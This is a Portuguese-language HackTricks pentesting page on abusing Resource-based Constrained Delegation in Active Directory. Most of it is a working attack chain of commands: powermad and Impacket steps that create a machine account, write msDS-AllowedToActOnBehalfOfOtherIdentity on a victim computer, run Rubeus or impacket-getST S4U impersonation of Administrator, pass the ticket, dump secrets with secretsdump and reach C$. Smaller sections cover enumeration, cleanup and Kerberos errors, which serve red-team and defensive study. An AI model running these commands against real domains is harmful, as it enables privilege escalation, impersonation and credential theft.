Resource-based Constrained Delegation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Noções básicas de Resource-based Constrained Delegation

Isto é similar ao básico Constrained Delegation mas em vez de dar permissões a um objeto para impersonate any user against a machine. Resource-based Constrain Delegation define no objeto quem é capaz de impersonate any user against it.

Neste caso, o objeto restrito terá um atributo chamado msDS-AllowedToActOnBehalfOfOtherIdentity com o nome do usuário que pode impersonate any other user against it.

Outra diferença importante dessa Constrained Delegation para as outras delegations é que qualquer usuário com write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) pode definir o msDS-AllowedToActOnBehalfOfOtherIdentity (Nas outras formas de Delegation você precisava de privilégios de domain admin).

Novos Conceitos

No contexto de Constrained Delegation foi dito que a flag TrustedToAuthForDelegation dentro do valor userAccountControl do usuário é necessária para realizar um S4U2Self. Mas isso não é completamente verdade.
A realidade é que mesmo sem esse valor, você pode realizar um S4U2Self contra qualquer usuário se você for um service (tiver um SPN) mas, se você tiver TrustedToAuthForDelegation o TGS retornado será Forwardable e se você não tiver essa flag o TGS retornado não será Forwardable.

No entanto, se o TGS usado em S4U2Proxy NÃO for Forwardable tentando abusar de um basic Constrain Delegation isso não vai funcionar. Mas se você estiver tentando explorar um Resource-Based constrain delegation, vai funcionar.

Estrutura do ataque

Se você tiver write equivalent privileges sobre uma Computer account você pode obter privileged access nessa máquina.

Suponha que o atacante já tenha write equivalent privileges over the victim computer.

  1. O atacante compromete uma conta que tem um SPN ou cria uma (“Service A”). Note que qualquer Admin User sem qualquer outro privilégio especial pode criar até 10 Computer objects (MachineAccountQuota) e atribuir-lhes um SPN. Então o atacante pode simplesmente criar um Computer object e definir um SPN.
  2. O atacante abusa do seu privilégio WRITE sobre o computador vítima (ServiceB) para configurar resource-based constrained delegation para permitir que ServiceA impersonate any user contra esse computador vítima (ServiceB).
  3. O atacante usa Rubeus para realizar um full S4U attack (S4U2Self and S4U2Proxy) de Service A para Service B para um usuário com privileged access to Service B.
  4. S4U2Self (a partir da conta com SPN comprometida/criada): Solicitar um TGS de Administrator para mim (Not Forwardable).
  5. S4U2Proxy: Usar o TGS não Forwardable do passo anterior para solicitar um TGS de Administrator para o host vítima.
  6. Mesmo que você esteja usando um TGS não Forwardable, como você está explorando Resource-based constrained delegation, isso vai funcionar.
  7. O atacante pode pass-the-ticket e impersonate o usuário para obter access to the victim ServiceB.

Para checar o MachineAccountQuota do domínio você pode usar:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Ataque

Criando um objeto de computador

Você pode criar um objeto de computador dentro do domínio usando powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Configurando Resource-based Constrained Delegation

Usando activedirectory PowerShell module

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Usando powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Realizando um ataque S4U completo (Windows/Rubeus)

Primeiro, criámos o novo objeto Computer com a senha 123456, então precisamos do hash dessa senha:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Isso imprimirá os hashes RC4 e AES para essa conta.
Agora, o ataque pode ser realizado:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Você pode gerar mais tickets para mais serviços pedindo apenas uma vez usando o parâmetro /altservice do Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Caution

Observe que usuários têm um atributo chamado “Cannot be delegated”. Se um usuário tiver esse atributo definido como True, você não poderá se passar por ele. Essa propriedade pode ser vista dentro do bloodhound.

Linux tooling: end-to-end RBCD with Impacket (2024+)

Se você operar a partir do Linux, pode executar toda a cadeia RBCD usando as ferramentas oficiais do Impacket:

# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'

# 2) Grant RBCD on the target computer to FAKE01$
#    -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'

# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'

# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local

Notas

  • Se LDAP signing/LDAPS estiverem aplicados, use impacket-rbcd -use-ldaps ....
  • Prefira chaves AES; muitos domínios modernos restringem RC4. Impacket e Rubeus suportam fluxos apenas com AES.
  • O Impacket pode reescrever o sname (“AnySPN”) para algumas ferramentas, mas obtenha o SPN correto sempre que possível (por exemplo, CIFS/LDAP/HTTP/HOST/MSSQLSvc).

Acessando

A última linha de comando executará o ataque S4U completo e injetará o TGS do Administrator no host vítima na memória.
Neste exemplo foi solicitado um TGS para o CIFS service em nome do Administrator, então você poderá acessar C$:

ls \\victim.domain.local\C$

Abusar de diferentes service tickets

Saiba sobre os available service tickets here.

Enumeração, auditoria e limpeza

Enumerar computadores com RBCD configurados

PowerShell (decodificando o SD para resolver SIDs):

# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd  = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid  = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}

Impacket (ler ou limpar com um comando):

# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'

Limpeza / reset do RBCD

  • PowerShell (limpar o atributo):
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
  • Impacket:
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'

Erros do Kerberos

  • KDC_ERR_ETYPE_NOTSUPP: Isso significa que o kerberos está configurado para não usar DES ou RC4 e você está fornecendo apenas o hash RC4. Forneça ao Rubeus pelo menos o hash AES256 (ou apenas forneça os hashes rc4, aes128 e aes256). Exemplo: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: Isso significa que o horário do computador atual é diferente do do DC e o kerberos não está funcionando corretamente.
  • preauth_failed: Isso significa que o nome de usuário + hashes fornecidos não estão funcionando para login. Você pode ter esquecido de colocar o “$” dentro do nome de usuário ao gerar os hashes (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)
  • KDC_ERR_BADOPTION: Isso pode significar:
    • O usuário que você está tentando impersonar não pode acessar o serviço desejado (porque você não pode impersonar ele ou porque ele não tem privilégios suficientes)
    • O serviço solicitado não existe (se você pedir um ticket para winrm mas o winrm não estiver em execução)
    • O fakecomputer criado perdeu seus privilégios sobre o servidor vulnerável e você precisa devolvê-los.
    • Você está abusando do KCD clássico; lembre-se que RBCD funciona com non-forwardable S4U2Self tickets, enquanto KCD requer forwardable.

Notas, relays and alternativas

  • Você também pode gravar o RBCD SD via AD Web Services (ADWS) se o LDAP estiver filtrado. Veja:

Adws Enumeration

  • Cadeias de relays Kerberos frequentemente terminam em RBCD para obter SYSTEM local em um único passo. Veja exemplos práticos de ponta a ponta:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

  • Se LDAP signing/channel binding estiverem desativados e você puder criar uma conta de máquina, ferramentas como KrbRelayUp podem relaya uma autenticação Kerberos coagida para o LDAP, definir msDS-AllowedToActOnBehalfOfOtherIdentity para sua conta de máquina no objeto do computador alvo, e imediatamente impersonate Administrator via S4U from off-host.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks